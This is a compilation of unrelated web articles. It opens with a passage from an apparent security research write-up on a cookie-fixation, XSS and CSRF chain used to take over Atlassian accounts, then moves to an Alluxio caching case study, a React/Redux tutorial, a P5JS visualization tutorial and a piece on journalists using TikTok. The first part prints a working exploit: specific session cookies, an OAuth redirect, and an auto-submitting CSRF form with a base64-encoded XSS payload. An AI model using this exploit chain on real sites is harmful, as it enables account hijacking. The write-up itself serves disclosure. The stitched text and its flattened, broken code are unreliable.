–> The Cookie Fixation combined with the XSS and CSRF bugs allowed us to perform full Account Take-Over on Atlassian Training Platform. With the same flow and Cookie Fixation we can navigate to other Atlassian products, for example, jira.atlassian.com. Jira.atlassian.com To hijack Jira accounts with the same flow, we first need to create a session cookie to perform Cookie Fixation. We log in to and take the following cookies: jira.atlassian.com JSESSIONID AWSALB In order to use these cookies for the Cookie Fixation the attacker needs to sign-out from his account to get clean JSESSIONID. We can verify that the cookie is not associated with any account anymore by sending a request to ViewProfile: Next, we will modify our payload, we will perform the same method as we did in training.atlassian.com: document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;” document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;” Note that the original HTTPOnly cookie was set for the path “/”, but the new cookie we are setting is for the path “/plugins”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s a path cookie. We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the “redirect_uri=https://jira.atlassian.com/plugins” which will force the authentication for jira.atlassian.com and redirect us to /plugins. . This auth request will associate our cookie to the target account. location.href=”https://auth.atlassian.com/authorize?redirect_uri=https://jira.atlassian.com/plugins/servlet/authentication/auth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none” As can be seen in the following request, the cookie is now assosiated to the target user (“John Doe” in this case). So now that we can control the , we combined all of this steps and crafted the following payload: JSESSIONID <html>

<head></head>

<body onload=”document.forms[0].submit()”>

<form method=”post” action=”https://training.atlassian.com/cart”>

<input type=”hidden” name=”itemType” value=’training_credit’>

<input type=”hidden” name=”itemId” value=’1′>

<input type=”hidden” name=”options._quantity” value=’10’>

<input type=”hidden” name=”options._training_credit_account” value='”><svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTE2NzI4ODVDM0Y1RTQ4MTlERDRFRjBCRjc0OUU1NkM5OyBEb21haW49LmF0bGFzc2lhbi5jb207IFBhdGg9L3BsdWdpbnM7IFNlY3VyZTsiOyAgZG9jdW1lbnQuY29va2llPSJBV1NBTEI9aUF2NlZLVDV0YnUvSEZKVnV1L2RURTdSODB3UVhOalIrMG9wVmJjY0UweklhZE9SSlZHTVp4Q1VjVElnbEwzT1ovQTU0ZXUvTkROTFA1STN6RStXY2dHV0RIcHYxN1NleGpGQmMxV1lBOW1vQzR3RW1Qb29FRS9VcW9vMjsgRG9tYWluPS5hdGxhc3NpYW4uY29tOyBQYXRoPS9wbHVnaW5zLzsgU2VjdXJlOyI7ICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7IGxvY2F0aW9uLmhyZWY9Imh0dHBzOi8vYXV0aC5hdGxhc3NpYW4uY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZqaXJhLmF0bGFzc2lhbi5jb20lMkZwbHVnaW5zJTJGc2VydmxldCUyRmF1dGhlbnRpY2F0aW9uJTNGYXV0aF9wbHVnaW5fb3JpZ2luYWxfdXJsJTNEaHR0cHMlMjUzQSUyNTJGJTI1MkZqaXJhLmF0bGFzc2lhbi5jb20lMjUyRiZjbGllbnRfaWQ9UXhVVmg5dFR1Z29MQzVjZ1kzVmprejNoMWpQU3ZHOXAmc2NvcGU9b3BlbmlkK2VtYWlsK3Byb2ZpbGUmc3RhdGU9NDExOGY1N2YtYTlkOS00ZjZkLWExZDUtYWRkOTM5NzYyZjIzJnJlc3BvbnNlX3R5cGU9Y29kZSZwcm9tcHQ9bm9uZSIgfSwzMDAwKTs=`);”>’>

<input type=”hidden” name=”action” value=’add’>

</form>

</body>

</html>

<!–
// Payload

btoa(‘

document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;”;

document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;”;

setTimeout(function(){

location.href=”https://auth.atlassian.com/authorize?redirect_uri=https%3A%2F%2Fjira.atlassian.com%2Fplugins%2Fservlet%2Fauthentication%3Fauth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none”

},3000);

‘);
–> The Cookie Fixation combined with the XSS and CSRF bugs from allowed us to perform full Account Take-Over on training.atlassian.com Jira.atlassian.com Bitbucket Another direction we looked into was checking if we could inject malicious code to an Organization’s Bitbucket. Bitbucket is a Git-based source code repository hosting service owned by Atlassian and has more than 10 million users. Accessing a company’s Bitbucket repositories could allow attackers to access and change source code, make it public or even plant backdoors. With a Jira account at our hands, we have a few ways to obtain Bitbucket account. One option is by opening a Jira ticket with malicious link to an attacker controlled website. An automatic mail will be sent from Atlassian domain to the user once the ticket is created on Jira systems. An attacker can take advantage of that and include in the ticket a link to a malicious website that steals the user’s credentials. Conclusion By using the XSS with CSRF that we found on combined with the method of Cookie fixation we were able to take over any Atlassian account, in just one click, on every subdomain under atlassian.com that doesn’t use JWT for the session and that is vulnerable to session fixation . For example: training.atlassian.com, jira.atlassian.com, developer.atlassian.com and more. training.atlassian.com Taking over an account in such a collaborative platform means an ability to take over data that is not meant for unauthorized view. Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms. You can have a look at . the POC video here

How a Supply-Chain Breach Put at Risk Atlassian Accounts

By Dongdong Lv (Platform Architect at Unisound), Qingsong Liu (Algorithm Researcher at Unisound) In this blog, guest writer Dongdong Lv (Platform Architect at Unisound), Qingsong Liu (Algorithm Researcher at Unisound), describe how to use Alluxio in real-world machine learning training scenarios to achieve significant training acceleration and solve platform IO bottlenecks. The original content was published on . Alluxio's Blog (Disclaimer: The author is a Founding Member @Alluxio) Introduction to Unisound and Atlas AI Platform is an artificial intelligence company focusing on Internet of Things services. Unisound’s AI technology stacks include the perception and expression capabilities of signals, voices, images, and texts, and the cognitive technologies such as knowledge, understanding, analysis, and decision-making, towards a multi-modal AI system. Atlas is the supercomputing platform supporting all kinds of AI applications, including model training and reasoning inferencing. Unisound Unisound has built the industry-leading GPU/CPU heterogeneous computing and distributed file system called Atlas. This platform provides AI applications with high-performance computing and data access capabilities at a massive scale. Based on the Kubernetes open source architecture, the Unisound team has developed the core features and successfully built an AI supercomputing platform with a floating-point processing capacity of more than 10 PFLOPS (100 million times per second). The platform supports the main machine learning frameworks, and developers can efficiently research and develop core applications such as voice, NLP, big data, multimodal, etc. The platform also serves external customers such as SMBs and research institutions with customized computing and storage capabilities. Problems and Challenges On the Atlas platform, computation is decoupled from storage. At present, the interconnections among the storage servers, the computing servers, and between the computing and storage servers are 100GB InfiniBand. We have built our own high-performance distributed file system, named Lustre, as the storage layer of the Atlas platform. Lustre consists of several petabytes of model training datasets. The Lustre distributed file system is compatible with the POSIX interface so that various deep learning frameworks can directly read data from Lustre. The separation between computing and storage enables them to scale independently, making overall architecture more flexible. However, such architecture encountered problems such as slow data access and network bandwidth bottlenecks. The challenges are as follows: The I/O Bottleneck As the number of users grows, there is a large increase in the bandwidth, metadata workload, and server workload with unchanged storage resources. In the storage cluster, there are many workloads running on the same single GPU node, competing for I/O resources. Thus, the entire training cycle gets longer, which greatly reduces the efficiency of the research and development. Massive Small Files The second challenge is about the training data set itself. In the noise reduction training, certain users would process terabytes of small files, which puts great pressure on the metadata service of the distributed file system, making it inefficient in reading data. The slow read lowers the overall utilization of the GPU, which increases the overall model training time. Many Data Types Many applications run on the Atlas platform with different data formats and file sizes, making it nearly impossible to use one single configuration to fit all services. Based on user behaviors, we found that the most used data is for model training, with the rest for model inference and CPU-intensive data generation applications. Data Redundancy The last challenge is the dataset replication on the platform. When the same dataset is used by different users in the same group or in different groups, multiple copies are stored, resulting in a waste of storage space. The Previous Solution We want to find a solution that is not only cost-effective but also requires the least architectural changes to deal with the I/O bottleneck and offload the metadata server. Below are several ways we explored. Put Limitation on Bandwidth Massive concurrent reads will push the bandwidth to reach the limit, causing storage system freezes or failures. We limit the bandwidth by putting limitations on the bandwidth of each client on the computing node and the UID/GID of each user. However, this method is not flexible and cannot fully utilize GPU resources. When there are two large I/O training jobs running on the same node, due to the bandwidth limitations, both training jobs are limited on reads. These limitations make GPU less utilized because it does not benefit from reading in parallel. We found that the utilization rate of GPU in this scenario is only 40%, which means hardware resources are wasted. Aggregate Small Files to Large Files We also took steps to deal with pressure put on the metadata by the massive number of small files. We estimated the number of small files by collecting the number inode of and the total storage size of each user to limit the quantity of the small files. Then, we implemented a series of data aggregation tools, allowing users to aggregate small files into large file formats such as lmdb and tfrecord. Customize the Task Scheduler To avoid too many jobs running on the same node at the same time, we customized the plug-ins of the task scheduler by adding scheduling policies that identify the resource usage of the computing node so that it can schedule jobs to idle nodes to avoid the I/O competition when running multiple jobs on the same node. However, this solution doesn’t work when all the computing nodes are overloaded because competition is inevitable. Tiered Cache In order to fully utilize the idle hardware resources and reduce the pressure on the storage system, we developed the V1.0 cache solution as a temporary solution. This solution can relieve the storage pressure to a certain extent, but the data management is not automated yet, so it can only be a temporary solution until we find an ultimate solution and build the new architecture. The New Architecture In 2020, the Unisound team started to deploy Alluxio and conducted a series of tests, including functionality tests and performance benchmarking. We found that Alluxio can meet our needs and solve our pain points effectively at a lower cost. Alluxio Fuse provides a POSIX file system interface, which allows users to seamlessly use the distributed cache without changing the applications. Alluxio supports different types of storage systems, including distributed file systems, object storage, etc. When we introduce new storage to our platform, Alluxio supports it very well, keeping our entire cache architecture stable. Alluxio provides intelligent cache management. Alluxio's tiered cache fully makes use of memory, SDD, or HDD, reducing the cost of data-driven applications with elastic scalability. Alluxio supports Kubernetes or containers deployment, which is consistent with our existing technology stack; Alluxio provides HA support to ensure the high availability of the distributed cache system. Our previous architecture completely decoupled computing and storage. By introducing Alluxio as a cache layer between computing and storage, users can enjoy fast data access because Alluxio brings the underlying storage to memory or local hard drives on each computing node. The entire platform utilizes the resources of both the distributed file system and the local hard disk. When deploying Alluxio to production, we encountered problems such as access control and data mounting. Fluid provides a more cloud-native way to use Alluxio and manage data. Just like managing cloud resources, Kubernetes schedules and allocates cached data, which is better than the previous V1.0 cache. Our ultimate architecture is: Alluxio is responsible for data migration and cache management, moving data from the underlying distributed file system to the local cache of the computing node, providing acceleration to the platform applications; Fluid is responsible for the orchestration of caching and applications. Based on Fluid, the platform can perceive caching and intelligently perform cache management without manual operations. After implementing the new architecture, we integrated Fluid with our self-developed model training task submission tool, atlasctl, to hide the complexity on the user side as much as possible. Users can create a cache dataset by using and specifying parameters such as cache size and cache media, and so on. This tool allows users to pay more attention to the data and the application itself without having to understand the underlying cache infrastructure. atlasctl cache create Configurations settings We introduced Fluid + Alluxio as a new architecture to our platform. During the deployment, we encountered some problems in different scenarios. We immediately reached out to the community, and the community solved our needs in a timely manner. Here we would like to talk about several main features. hostpath and nonroot Support In the Atlas platform, we set nonroot for the distributed file system, which means, by default, no root user from the client side would have the permissions to manage the user directory. However, we need Alluxio to access UFS as a root user. We solved this problem using Fluid. If the root user in Allluxio is accessing the UFS, we can use Fluid to set UID and GID, respectively, on the cache and data side. If we use the same UID and GID settings on the data side, the data can be read from the client-side. If the UID and GID of a dataset are set to another user, the data can be shared. The user information on the cache side ensures that Allluxio can successfully read the data in UFS. The feature solves the problems of access control and data redundancy. Multiple Mount Points Support The training jobs usually span different data sets, which may be under different directories of the same storage system or different storage systems. Alluxio can provide a unified namespace for applications. Through the abstraction of the unified namespace, applications can access multiple different storage systems through the unified namespace and interfaces. Instead of connecting each storage system to each application, we only need to connect to Alluxio. Through Alluxio Fuse, users can use the POSIX interface to access the data stored from different underlying storage systems. The unified namespace ensures that the namespace of Alluxio and the underlying storage system remain consistent. The directories and file names of different underlying storage can be mapped in Alluxio. By using this feature, users can cache and accelerate the data access from two storage systems in the same training jobs at the same time. There is no need for data migration, during which the combination of compression, packaging, migration, and decompression of terabytes of small files would take several hours. Using this feature, users only need to change the storage path of the data for the next job, and there is no need to change the source code. Cache Warmup The computing resources in the platform are often more scarce than storage resources. When a user initiates a training job using terabytes of small files, the data and metadata sync between the underlying storage system and the cache system will take a long time. Alluxio provides the features of loadMetadata and loaddata, which are integrated by Fluid. Users can pull the data from the remote storage system to the local distributed cache engine in advance so that applications consuming the data set will get accelerated even if running for the first time. This feature can effectively increase the GPU utilization of the cluster and avoid wasting time when the metadata is synced during the first cache. The application gets a faster I/O at the beginning so that overall GPU utilization increases. Performance Tuning Alluxio provides a lot of performance tuning settings. We configured and tuned according to the characteristics of different scenarios. For read-heavy scenarios, we did performance tuning for general settings and for different kinds of data sets. General settings: Open kernel_cache and set to true to enable file and directory metadata caching on the client-side. For all-read scenarios, configure and to tune the maximum number of cached metadata cache and expiration time. alluxio.user.metadata.cache.enabled alluxio.user.metadata.cache.max.size alluxio.user.metadata.cache.expiration.time By setting and to avoid cache jitter brought by frequent eviction (Cache Eviction). alluxio.user.file.passive.cache.enabled=false alluxio.user.file.readtype.default=CACHE Test Scenarios We tested three scenarios according to the size of the data set. The first type is small files, with the size of a single file under 1M. The second is medium files in several hundred gigabytes, and the third is terabytes of large files. Noise Reduction This test uses the DLSE model generated by the Pytorch framework. The number of files in the dataset is about 500,000, and the total size is 183 GB. Memory is used as the cache of Alluxio. We use a single machine with 10 GPU cards for this test. Based on Pytorch's native DDP framework for multi-card communication, we compare the two scenarios: read directly from the distributed file system (Lustre), read from the Alluxio cache (Lustre+Alluxio), and read from Alluxio with cache warmup (Alluxio, warm). We can see that, during the first read, using Alluxio with cache warmup (Alluxio, warm) is nearly 10x faster compared to reading directly from the distributed file system (Lustre). Because when Alluxio reads the first time, it needs to sync the metadata and cache data at the same time, the real advantage of caching is still not reflected yet. In the second read, since the data have all been brought into the cache, the performance depends on the cache hit rate of Alluxio. From the above test results, we can see that there is a significant speedup. With a faster data read, we also improved overall GPU utilization. By monitoring the utilization, we found that the GPU usage kept at about 90% using Alluxio cache warmup. At the same time, we can store cached data in the memory, effectively offloading the underlying storage. Optical Character Recognition (OCR) In this test, we use a CRNN-based character recognition model based on the Pytorch framework. The data source is our self-collected 125GB image data converted into one large lmdb file. We made three benchmark tests, read directly from the underlying file system (Lustre), read from Alluxio without warmup (Alluxio, cold), and read from Alluxio with warm data (Alluxio, warm up). We found that the I/O traffic of the Alluxio warm cache node is reduced from 1300Mb/s to basically zero compared to the direct reading from the underlying distributed storage. This is a huge benefit to our platform. This is the most efficient and relatively cost-effective way to reduce the network traffic of the storage system without scaling the underlying storage hardware. The average GPU usage of direct reading from the underlying storage computing is 69.59%, while for hot cache read, it increases to 91.46%, indicating that eliminating the I/O bottleneck can improve resource utilization for large file training jobs. Conclusion By introducing the new architecture of Fluid + Alluxio, we have gained the following benefits: Speed​​up model training: through the test results, we can see a significant speedup on training jobs. By achieving data locality, the platform can avoid network bottleneck or resource competition, thereby effectively accelerating the data access in the model training process. Offload the underlying storage: by enabling local cache, the new architecture brings a better IOPS (Input/Output Operations Per Second), greatly reduces the workload pressure of the underlying storage system, and effectively improves its availability. Increase GPU cluster utilization: by efficient I/O read, the platform eliminates the data read bottleneck and also avoids GPU idling while waiting for data, thus improving the GPU utilization rate of the entire cluster. Avoid I/O competition on the same node: the new architecture fully solves our previous pain points of I/O resource competition on the same node, the storage system I/O bottleneck, and the slow model training. More efficient cache management: the new architecture is a more cloud-native way to manage the cache. Engineers have changed from simply loading data in memory to managing and monitoring the cache. Kubernetes scheduling can perceive the cache and perform corresponding policy allocations, making jobs more efficient and easier to manage. Next Steps Fluid + Alluxio has brought us a lot of benefits. We will keep working closely with the community and contribute to the following work in the future: We will continuously provide feedback to the community with more test results in more scenarios and iterate and optimize the performance of Alluxio. We will test more data types, summarize findings, and provide best practices on performance tuning to the community. We will add an intelligent cache scheduling feature to Fluid. (Disclaimer: The author is a Founding Member @Alluxio) Also Published Here

Speeding Up the AI Supercomputing Platform - A Practice at Unisound

With the mutuality of JavaScript, several frameworks have emerged. React is one of those frameworks that have come up with an effective way to manipulate the virtual DOM. Using React, every user interface section is viewed and composed as a single independent component that has a state. Any changes that occur in the section are determined by the state which the component is always listening to. Changes in the state results to react updating the virtual DOM tree. The uniqueness in react is seen when the changes occur in the virtual DOM. Immediately, react takes that current DOM and compares it with the virtual DOM after which it will only update only those objects that have changed on the virtual DOM. This brings about a huge performance increase to the table compared to using vanilla JavaScript. The center of all this is the “ ”. So if each component has a state, say we need to access one component state in another component? Or manipulate data in one state and still see the changes on another component? These are the questions that Redux comes to answer with the idea of having a store that has a state or states which operates on a global level. State These states are accessible by all components on the application in that changes or manipulation reflects throughout the application. See, simple. So do I use a React Redux throughout my entire application or I can mix it up with React state? In this article, we will demonstrate how to use both React Redux and React state in the same application. Using React state To set up a react state, we initializing local state by assigning an object to on the inside a class. this.state constructor { (props) { (props); .state = { : , : [], : ,
    };
  } class ItemCocktails extends Component constructor super this isLoading false itemCocktail id null Once that is done, we deploy the function of react. The function is involved immediately when the component is mounted which is good given that we want the asynchronous operation to be triggered on mount followed by a dom tree manipulation. componentDidMount() componentDidMount() { .setState({ : }); { id } = .props.match.params;
    axios({ : , : , : { : , : , : , : ,
      }, : { : id,
      },
    })
      .then( { .setState({ : , : response.data.drinks,
          id,
        });
      })
      .catch( { error;
      });
  } this isLoading true // eslint-disable-next-line react/destructuring-assignment const this method 'GET' url 'https://the-cocktail-db.p.rapidapi.com/lookup.php' headers 'content-type' 'application/octet-stream' 'x-rapidapi-host' 'the-cocktail-db.p.rapidapi.com' 'x-rapidapi-key' 'add key here' useQueryString true params i => response this isLoading false itemCocktail => error throw Each and every time a is called to modify the state, it as well triggers a render which will happen before the browser updates the screen. This way, the user cant see the intermediate state. In our case, we employ a condition which acts as a safeguard in a case where the asynchronous operation has not finished executing after which it is set to false. Once the promise has been executed the response is captured by the and used to set a new state with the needed data. setState() isLoading . then To improve the user experience, we use condition rendering to display awaiting asynchronous operation. render() { { isLoading, itemCocktail, id } = .state; loadData; (isLoading === ) {
      loadData = ( <div className="alert alert-info" role="alert">
            Loading data in a moment!
          </div> <Loading /> );
    } (
      isLoading === && itemCocktail !== && itemCocktail.length > ) { data = itemCocktail.map( item);
      loadData = <div>
          <div className="alert alert-danger" role="alert">
            Something went wrong! Navigate back to home page
          </div>
          <Loading />
        </div> <div className="container">{loadData}</div> const this let if true < > div </ > div else if false null 0 const => item ;
    } else {
      loadData = ( < = = /> ItemCocktailCard itemData {data[0]} key {id} );
    }
    return ;
  }
} Using React Redux State Asynchronous operation using react-redux requires a extension that allows simple asynchronous updates by dispatching an action thus interacting with the store. One of the most popular middleware extensions is which is now part of the . In this article, we will not dive deep into redux-thunk(see the documentation to get started). middleware Redux Thunk react toolkit Redux Thunk allows you to write action creators that return a function instead of an action. The thunk can be used to delay the dispatch of an action, or to dispatch only if a certain condition is met. middleware The first step in configuring redux is to have  actions. Actions have to have a type which will be the condition which has to be met for the reducer to execute. fetchCocktailByCategory = ({ : FETCH_COCKTAILS,
  cocktails,
}); const => cocktails type The above function is an action that sets the type and adds the cocktails payload. With that set, next, we need to have the asynchronous function which will provide the needed data payload. fetchAllCocktailByCategory = dispatch => { allCategories = [ , , , , , , , , , , ,
  ]; allCategories.map( axios({ : , : , : { : , : , : , : ,
    }, : { : category,
    },
  })
    .then( dispatch(
      fetchCocktailByCategory([category, response.data.drinks]),
    ))
    .catch( { error;
    }));
}; export const => () const 'Ordinary Drink' 'Cocktail' 'Milk / Float / Shake' 'Other/Unknown' 'Cocoa' 'Shot' 'Coffee / Tea' 'Homemade Liqueur' 'Punch / Party Drink' 'Beer' 'Soft Drink / Soda' return => category method 'GET' url 'https://the-cocktail-db.p.rapidapi.com/filter.php' headers 'content-type' 'application/octet-stream' 'x-rapidapi-host' 'the-cocktail-db.p.rapidapi.com' 'x-rapidapi-key' 'add key here' useQueryString true params c => response => error throw The above is a high order function as it returns another function in our case . Once the execution has completed and the promises resolved, the response is passed and dispatched invoking the action function and passing the payload. fetchAllCocktailByCategory() dispatch fetchCocktailByCategory() The reducer function is always listening for the type to be provided after which it set the payload as a new state. { FETCH_COCKTAILS } ; cocktailReducer = { (action.type) { FETCH_COCKTAILS: [...state, action.cocktails]; : state;
  }
}; import from '../actions/types' const ( ) => state = [], action switch case return default return The only thing remaining is at this point is to call the reducer at the top level. In most cases an application has more than one reducer, thus it is important to combine them using from redux and call it as one root reducer. combineReducers { combineReducers } ; cocktailReducer ; categoryReducer ; FilterByCategoryReducer ; rootReducer = combineReducers({ : cocktailReducer, : categoryReducer, : FilterByCategoryReducer,
}); import from 'redux' import from './Cocktails' import from './Category' import from './FilterByCategory' const cocktails categories filter The is invoked at the index and passed as a parameter at the redux function that creates the store. rootReducer createstore { createStore, applyMiddleware } ; thunk ; rootReducer ; { fetchAllCocktailByCategory } ; store = createStore(rootReducer, applyMiddleware(thunk));

store.dispatch(fetchAllCocktailByCategory()); import from 'redux' import from 'redux-thunk' import from './reducers/index' import from './utils/utils' const Using a reducer is the recommended approach when dealing with a state in a large application.  In a large application, the reducer can even be nested where one reducer calls another to provide the next state. The critical issue is for the developer to analyze their system requirements and operation so as to decide to use the react state or use redux. To get the complete code at github image by Academind, Sep 19, 2016

Using React Redux State Management And React State In Asynchronous Operation

I had the immense pleasure of attending several creative coding workshops on April 4th. They were streamed live on the SpacyCloud Twitch channel. There were additional sessions involving Hydra, Raspberry Pi, Haskell, and more. However for this post I want to focus on the first session which was a P5JS tutorial. In this post I hope to translate the P5JS tutorial into a written format, for posterity and to share what I learned. I'm going to review what was taught in the live session. Hopefully SpacyCloud will have another live stream in the future so I can catch up on what I missed. Here is the landing page for the event schedule. Although I have used Processing years ago when I was in college, I knew I was very rusty which is why I decided to tune into Leandra T's P5JS tutorial stream. Originally branded as a creative coding language for artists, Processing is mainly used to create generative art, visualizations, and immersive installations. P5JS is basically a version of Processing that is ported to Javascript. Processing was developed by MIT and is built on top of Python. Naturally people wanted to be able to show their generative art online, so it didn't take long for there to be a huge demand for Processing that worked with Javascript instead of Python. Since P5JS has taken off there is tons of code online that people are sharing, making it a lot easier to learn. That being said, it’s still nice to have someone walk through every step with you. That is what Leandra did. After showing us an example of what we were going to make, Leandra dived right into the . Whats great about this editor is you can do all of your coding online and see the results of your code side by side. She went over some of the basic functions, such as setting the canvas and background, and drawing shapes. online P5 editor In the above code (to be more precise, a screenshot from the aforementioned P5 editor) you can see two functions, setup and draw. The setup function is called once when the application first runs, while draw is called constantly every frame (at least 24 times per second). What that means is that while it looks like the circle is static, it’s actually being redrawn constantly. However our eye cannot perceive that so it looks as though the circle is always there. As you might have guessed, is only called once and the two numbers you pass are the pixel width and height of the canvas, respectively. The canvas defines the area within which you can draw. Inside the draw function, background is what defines the background color of your canvas. If you pass 1 number, you will get a shade of gray as if you passed 3 RGB (red, green, blue) values. createCanvas That means that is just shorthand for . Each value can be as high as 255 (white) or as low as 0 (black). background(220) background(220,220,220) Then of course you have the ellipse. In the screenshot above there are only 3 values passed to the function: x coordinate, y coordinate, and radius. However, you can actually pass in 4 values, which is why the function is called ellipse rather than circle. Passing in 4 values means you can stretch or squish the shape because you are passing the x coordinate, y coordinate, width, and height. ellipse So far this is pretty boring. Luckily, it only takes a few tweaks for things to get a lot more interesting. Instead of passing the ellipse static values you can pass in things like , , or . Passing in to the first value of and to the second value will make it so that you are essentially painting circles across the canvas wherever you move your mouse, because the ellipse will follow your cursor. If you pass random instead, the computer will generate a random number every frame and draw the ellipse to those coordinates. mouseX mouseY random mouseX ellipse mouseY You need to at least pass random a maximum number, so that it knows the range within which the random number can fall. If you want circles to cover the whole canvas, you can use for the x coordinate and for the y coordinate because P5JS stores the width and height of the canvas to those variables. random(width) random(height) Also make sure you move background out of the draw function and into setup, otherwise you will only ever see 1 circle on the canvas because the background will continuously be drawn on top of it. What the canvas will resemble when you pass in random(width) and random(height) . Using mouseX and mouseY will be more like “painting” with the shape Okay so now we’ve got lots of shapes on the canvas, but where is the COLOR?! Much like you can provide the background 3 values that reflect red, green, and blue you can do the same for shapes with the fill function. For example, if I pass I will get a completely red circle like below. fill(255, 0, 0) But what if I pass random values instead? What do you think will happen? Now we’re cooking with gas. Leandra went through similar steps in her live tutorial, to make sure everyone understood the basic principles and the most commonly used functions in P5JS. One of the most popular uses is to create visualizations that respond to sound. These are obviously a huge thing at raves and concerts, and they are easy and fun to make. The first step is to make sure you have the sound library linked in your P5 editor. On line 5 in the above screenshot there is a url pointing to which is the P5JS sound library. If you click the little arrow above the code it expands to view the files that you see on the left hand side. Click on index.html and confirm that you also have the script on line 5. p5.sound.min p5.sound.min The next screenshot illustrates the additional code you will need in order to setup the mic and start receiving data from it that you can use for your visualization. Basically, you have to setup some variables at the top so that you can access your mic anywhere in the code. The variables start off empty but then you pass the actual mic in your setup function and start it so that it actually runs. Finally, you need to get useful data from the mic so you call to get the loudness which you can use for visualizations. You can confirm that the mic is working by adding a console.log statement so you should see values being returned below your code when you run it. getLevel I know that my mic is working because I am seeing values in my console at the bottom We’re getting really close now. Only a few more steps to go before the finish line. Now that you know your mic is working, you can try passing in the and playing some music to see how the visualization responds. You can also introduce a few more functions, such as and . micLevel stroke strokeWidth The role of stroke is to define the color of the border of your shapes. Like fill, you pass in 3 values for red, green, and blue. On the other hand, strokeWidth is for defining the thickness of the border. You can see an example below integrated with for some cool effects. micLevel We’re at the final step. It’s going to involve a slightly more complicated programming concept, so bear with me. This concept is called loops, and in particular we are going to use a for loop. Basically you define a variable, like num, and that variable can increase or decrease until you reach a specified stopping point. Most of the time, for loops are used to count upwards by 1 to a designated end point. So a for loop like will output . Hopefully that makes sense. There is plenty of reading online about for loops if you are still confused. for(let num=1; num <= 8; num++) { console.log(num) } 12345678 Unfortunately it doesn't look that cool in a screenshot. It will look much cooler for you when you actually have the code in P5JS yourself and play some jams! So first, let me put the code here so you can actually copy and paste instead of manually typing everything out. This was the exact code that was written in the original P5JS tutorial. <code style= >
let mic;
let micLevel;
function setup() {
  createCanvas( , );
  mic = new p5.AudioIn();
  mic.start();
}

function draw() {
  micLevel = mic.getLevel();
  background( );
  
  stroke( , round(micLevel * ), round(micLevel* ));
  strokeWeight(micLevel * );

  
  for(let i = ; i &lt; ; i++) { fill(random( ), random( ), random( ), ); ellipse(i* + , micLevel* + random( ), ); }
 
}
</code> "border: 0px; font-family: monospace, serif; font-size: 15px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; hyphens: none; line-height: 1.6;" 400 400 5 255 800 255 200 0 6 // for loop counting from 0 to 6 250 100 255 255 //1 circle is drawn with every loop, so 6 circles total 60 40 5000 50 50 //micLevel for the y value caues the circles to go up and down with the volume, i*60 means a new circle is drawn every 60 pixels along the x axis Hope you enjoyed this P5JS tutorial. I also tweeted out a video of my own code and music so if you don’t feel like it or don’t have time right now to tinker with the code here is a short video. Make sure you turn the sound on! If you enjoyed this article, consider following me on Twitter @nadyaprimak or if you need more tips on breaking into the tech industry, you can read my book “Foot in the Door” in paperback or Kindle now. Previously published at https://www.nadyaprimak.com/blog/creativity/spacycloud-live-p5js-workshop-retro-part-1/

Making a Music Visualization with P5JS

GenZ-ers seem to like political and international news so journalists are now moving to TikTok. When we think about the news on social media, we often think about Twitter. The platform, founded by Jack Dorsey, Ev Williams, and Biz Stone, has been for years the go-to place for reporters, breaking news, media outlets, and everything in between. Oftentimes, news breaks first on Twitter. Facebook is also a great place for news. Or is it? It certainly is a place that has polarized the debate around the news, the nature of fake news and how it spreads, and the role of tech platforms in the fight against dis- and mis-information. But what about TikTok? When we think about the news we certainly don’t think about TikTok, the Chinese platform that is aggressively expanding around the world while catching the attention of regulators, and the skepticism of governments. But TikTok is now becoming a fertile ground for the media industry to experiment and to better embrace the youngest generations of news consumer, in particular GenZ. Enter The Washington Post's TikTok channel , with its famous tag line: “We are a Newspaper.” [ ] Full video With almost 380,000 followers, the success of the paper’s TikTok channel — thanks mostly to its TikToker-in-chief Dave Jorgenson— has shown the great potential of the growing platform and its viral/short video format to move the news business forward and embrace a wider audience. The Washington Post is not the only one to have embraced the platform. , with almost 360,000 followers, is trailing the growth of the Washington Post and has been very succesful on the platform thanks to its TikToker-duo-exceptionel and in-house creators Alex Connor and N’dea Yancey-Bragg. USA Today and are also experimenting on TikTok, and many media outlet, as are “tech man” , the New York Times’ , of Vox, CNN London correspondent , at VICE News, and other journalists and reporters. The Telegraph The Dallas Morning News Lance Ulanoff Taylor Lorenz Liz Plank Max Foster Victoria Leandra To note that Francesco Zaffarano, senior social media editor at The Telegraph has created a Google Doc (updated as of February 2020). with a list of reporters and media outlets on TikTok One of the most recent additions is of the BBC with her newly-launched . Suzanne Kianpour NewsWithSuz [ ] Full video “The digital space is constantly evolving,” Kianpour told me. “As journalists tasked with informing the public we have to stay ahead of the curve while being creative about how to keep the audience’s attention long enough to deliver to them what they need to know.” “TikTok is like someone has invited themselves over for a dinner party,” Jorgenson told Christine Schmidt at the Nieman Lab . in June last year “It’s great company. We’ve been invited and we want to get invited back. We’re bringing a bottle of wine” — 